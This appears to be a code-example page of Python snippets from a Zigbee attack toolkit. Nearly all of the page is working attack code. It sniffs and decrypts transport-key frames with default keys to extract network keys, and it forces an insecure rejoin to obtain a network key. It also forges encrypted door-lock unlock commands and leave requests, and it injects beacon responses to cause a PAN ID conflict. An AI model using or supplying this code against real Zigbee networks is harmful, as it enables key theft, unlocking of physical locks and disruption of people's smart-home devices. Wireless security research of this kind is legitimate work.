Пример #1
0
 def notify(self, channel, frame):
     if is_transport_key(frame):
         if get_extended_source(frame) is not None:
             extended_source_bytes = extended_address_bytes(get_extended_source(frame))
             decrypted, valid = crypto_utils.zigbee_packet_decrypt(crypto_utils.zigbee_trans_key(crypto_utils.DEFAULT_ZLL_COMMISSION_KEY), frame, extended_source_bytes)
             if valid:
                 print_notify("Network key acquired for PAN 0x%04x" % get_pan_id(frame))
                 network_key = bytes(decrypted)[2:18]
                 print_info("Extracted key is 0x%s" % network_key.hex())
Пример #2
0
def insecure_rejoin_by_panid(radio, panid, src_addr=None, extended_src=None, coord_addr=None, seq_num=None, nwk_seq_num=None):

    if src_addr is None:
        src_addr = random.randint(0,0xfff0)
    if extended_src is None:
        extended_src = random.randint(0, 0xffffffffffffffff)
    if coord_addr is None:
        coord_addr = find_coord_addr_by_panid(radio, panid)
    if seq_num is None:
        seq_num = random.randint(0,255)
    if nwk_seq_num is None:
        nwk_seq_num = random.randint(0,255)

    if coord_addr is None:
        print_info("No coordinator address seen, using default of 0x0000")
        coord_addr = 0x0000
    
    dot15d4_seq_iter = SequenceIterator(initial_value=seq_num, value_limit=255)
    nwk_seq_iter = SequenceIterator(initial_value=nwk_seq_num, value_limit=255)

    print_notify("Attempting to join PAN ID 0x%04x using insecure rejoin" % panid)
    print_info("Sending insecure rejoin")
    radio.send_and_retry(insecure_rejoin(src_addr, coord_addr, panid, extended_src, seq_num=dot15d4_seq_iter.next(), nwk_seq_num=nwk_seq_iter.next()))
    radio.send_and_retry(data_request(src_addr, coord_addr, panid, seq_num=dot15d4_seq_iter.next()))

    coord_extended_src = None
    print_info("Awaiting response...")
    timer = Timer(RESPONSE_TIME_LIMIT)
    while(not timer.has_expired()):
        frame = radio.receive_and_ack(addr=src_addr, panid=panid)
        if is_rejoin_response(frame):
            print_notify("Rejoin response observed")
            coord_extended_src = frame[ZigbeeNWK].ext_src
            radio.send_and_retry(data_request(src_addr, coord_addr, panid, seq_num=dot15d4_seq_iter.next()))
            break

    if coord_extended_src is None:
        print_error("No rejoin response observed")

    print_info("Awaiting transport key...")
    timer.reset()
    while(not timer.has_expired()):
        frame = radio.receive_and_ack(addr=src_addr, panid=panid)
        if is_transport_key(frame):
            print_notify("Transport key observed")
            print_info("Attempting to decrypt the network key")
            coord_extended_source_bytes = extended_address_bytes(coord_extended_src)
            decrypted, valid = crypto_utils.zigbee_packet_decrypt(crypto_utils.zigbee_trans_key(crypto_utils.DEFAULT_TRANSPORT_KEY), frame, coord_extended_source_bytes)
            if valid:
                print_notify("Network key acquired")
                network_key = bytes(decrypted)[2:18]
                print_info("Extracted key is 0x%s" % network_key.hex())
                return network_key
            else:
                print_info(str(coord_extended_source_bytes))
                print_error("Network key could not be decrypted")
    return None
Пример #3
0
def encrypted_unlock(panid,
                     source,
                     destination,
                     extended_source,
                     key,
                     frame_counter=0,
                     seq_num=0,
                     nwk_seq_num=0,
                     aps_counter=0,
                     zcl_seq_num=0):

    panid = pan(panid)
    source = address(source)
    destination = address(destination)
    extended_source = extended_address(extended_source)

    extended_source_bytes = extended_address_bytes(extended_source)

    aps_payload = ZigbeeAppDataPayload()
    aps_payload.aps_frametype = 0
    aps_payload.delivery_mode = 3
    aps_payload.frame_control = 4
    aps_payload.cluster = 0x0101
    aps_payload.profile = 0x0104
    aps_payload.group_addr = 0x0005

    aps_payload.dst_endpoint = 0xff  # Broadcast
    aps_payload.src_endpoint = 1
    aps_payload.counter = aps_counter

    zcl = ZigbeeClusterLibrary()
    zcl.zcl_frametype = 1
    zcl.transaction_sequence = zcl_seq_num
    zcl.command_identifier = 1

    payload = aps_payload / zcl

    dot15d4_data = dot15d4_data_stub(seq_num, panid, source, destination)
    nwk = nwk_stub(source, destination, nwk_seq_num)
    security_header = security_header_stub(extended_source, frame_counter)
    unencrypted_frame_part = dot15d4_data / nwk / security_header

    return crypto_utils.zigbee_packet_encrypt(key, unencrypted_frame_part,
                                              bytes(payload),
                                              extended_source_bytes)
Пример #4
0
def encrypted_leave_req(panid,
                        source,
                        destination,
                        extended_source,
                        key,
                        frame_counter=0,
                        seq_num=0,
                        nwk_seq_num=0,
                        aps_counter=0,
                        zcl_seq_num=0):

    panid = pan(panid)
    source = address(source)
    destination = address(destination)
    extended_source = extended_address(extended_source)

    extended_source_bytes = extended_address_bytes(extended_source)

    aps_payload = ZigbeeAppDataPayload()
    aps_payload.frame_control = 4
    aps_payload.delivery_mode = 0
    aps_payload.aps_frametype = 0
    aps_payload.dst_endpoint = 0
    aps_payload.cluster = 0x0034
    aps_payload.profile = 0x0000
    aps_payload.src_endpoint = 0
    aps_payload.counter = aps_counter

    zdp = ZigbeeDeviceProfile()
    zdp.sequence_number = zcl_seq_num
    zdp.extended_address = 0
    zdp.remove_children = 0
    zdp.rejoin = 0

    payload = aps_payload / zdp

    dot15d4_data = dot15d4_data_stub(seq_num, panid, source, destination)
    nwk = nwk_stub(source, destination, nwk_seq_num)
    security_header = security_header_stub(extended_source, frame_counter)
    unencrypted_frame_part = dot15d4_data / nwk / security_header

    return crypto_utils.zigbee_packet_encrypt(key, unencrypted_frame_part,
                                              bytes(payload),
                                              extended_source_bytes)
Пример #5
0
def pan_conflict_by_panid(radio, panid, network_key=None, coord_ext_addr=None):

    print_info("Performing PAN ID conflict")

    conflict_sent = False
    for attempt in range(NUMBER_OF_ATTEMPTS):

        seq_num = random.randint(0, 255)
        seq_iter = SequenceIterator(seq_num)
        radio.send(beacon_request(seq_num=seq_iter.next()))

        timer = Timer(RESPONSE_TIME_LIMIT)
        while not timer.has_expired():
            frame = radio.receive()
            if is_beacon_response(frame):
                if frame[Dot15d4FCS].src_panid == panid:
                    print_info("Network observed, sending conflict")
                    current_seq_num = seq_iter.next()
                    radio.send(beacon_response(panid, seq_num=current_seq_num))
                    radio.send(beacon_response(panid, seq_num=current_seq_num))
                    break
        if network_key is not None and coord_ext_addr is not None:
            timer.reset()
            print_info(
                "Verifying the conflict took by looking for the network update"
            )
            while not timer.has_expired():
                frame = radio.receive()
                if frame is not None and ZigbeeSecurityHeader in frame:
                    coord_ext_addr_bytes = extended_address_bytes(
                        coord_ext_addr)
                    decrypted, valid = crypto_utils.zigbee_packet_decrypt(
                        network_key, frame, coord_ext_addr_bytes)
                    if valid:
                        if bytes(decrypted)[0] == 0x0a:
                            print_info(
                                "Network update observed. PAN conflict worked")
                            return True
            print_error(
                "Did not observe a network update. PAN conflict likely failed")
            return False

        return True
    def extractKeyOnChannel(self, channel):
        self.radio.set_channel(channel)

        print_notify("Listening to channel %d" % self.radio.get_channel())

        while True:
            frame = self.radio.receive()
            if is_transport_key(frame):
                print_notify("Got transport key packet")
                if get_extended_source(frame) is not None:
                    print("Got extended source")
                    extended_source_bytes = extended_address_bytes(
                        get_extended_source(frame))
                    decrypted, valid = crypto_utils.zigbee_packet_decrypt(
                        crypto_utils.DEFAULT_ZLL_COMMISSION_KEY, frame,
                        extended_source_bytes)
                    if valid:
                        print_notify("Network key acquired for PAN 0x%04x" %
                                     get_pan_id(frame))
                        network_key = bytes(decrypted)[2:18]
                        print_info("Extracted key is 0x%s" % network_key.hex())